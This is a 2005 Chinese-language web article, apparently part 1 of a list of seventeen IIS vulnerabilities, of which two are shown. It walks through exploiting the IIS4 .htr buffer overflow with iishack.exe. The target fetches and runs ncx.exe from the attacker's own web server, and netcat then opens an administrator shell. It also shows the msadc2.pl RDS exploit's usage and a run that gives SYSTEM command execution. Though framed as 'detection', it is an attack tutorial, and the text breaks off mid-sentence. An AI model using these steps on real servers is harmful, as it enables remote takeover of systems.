IIS的十七个常见漏洞[1]

[入库:2005年9月21日] [更新:2007年3月24日]

本文简介:

1. iis4hack缓冲溢出office:office" />


主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求 
没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 
系统中下载和执行程序。 


要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 
的站点www.technotronic.com去下载,另外你?..己的WEB服务器。 


你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应 
的目录下,然后使用iishack.exe来检查目标机器: 
c:\\>iishack.exe <victim> 80 <your web server>/ncx.exe 
然后你就使用netcat来连接你要检测的服务器: 
c:\\>nc <victim> 80 
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。 


利用程序见iis4hack.zip 


2.msadc 


IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行 
系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 
它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行, 
其一般默认情况下是SYSTEM用户。 


利用程序为msadc2.pl,我们看看它的help 


[quack@chat quack]$ perl msadc2.pl -h 
-- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 


Usage: msadc.pl -h <host> { -d <delay> -X -v } 
-h <host> = host you want to scan (ip or domain) 
-d <seconds> = delay between calls, default 1 second 
-X = dump Index Server path table, if available 
-N = query VbBusObj for NetBIOS name 
-V = use VbBusObj instead of ActiveDataFactory 
-v = verbose 
-e = external dictionary file for step 5 
-u <\\\\host\\share\\file> = use UNC file 
-w = Windows 95 instead of Windows NT 
-c = v1 compatibility (three step query) 
-s <number> = run only step <number> 


Or a -R will resume a (v2) command session 


[quack@chat quack]$ perl msadc2.pl -http://www.targe.com/ ;
-- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
Type the command line you want to run (cmd /c assumed): 
cmd /c 


如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: 

本文关键:IIS的十七个常见漏洞
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top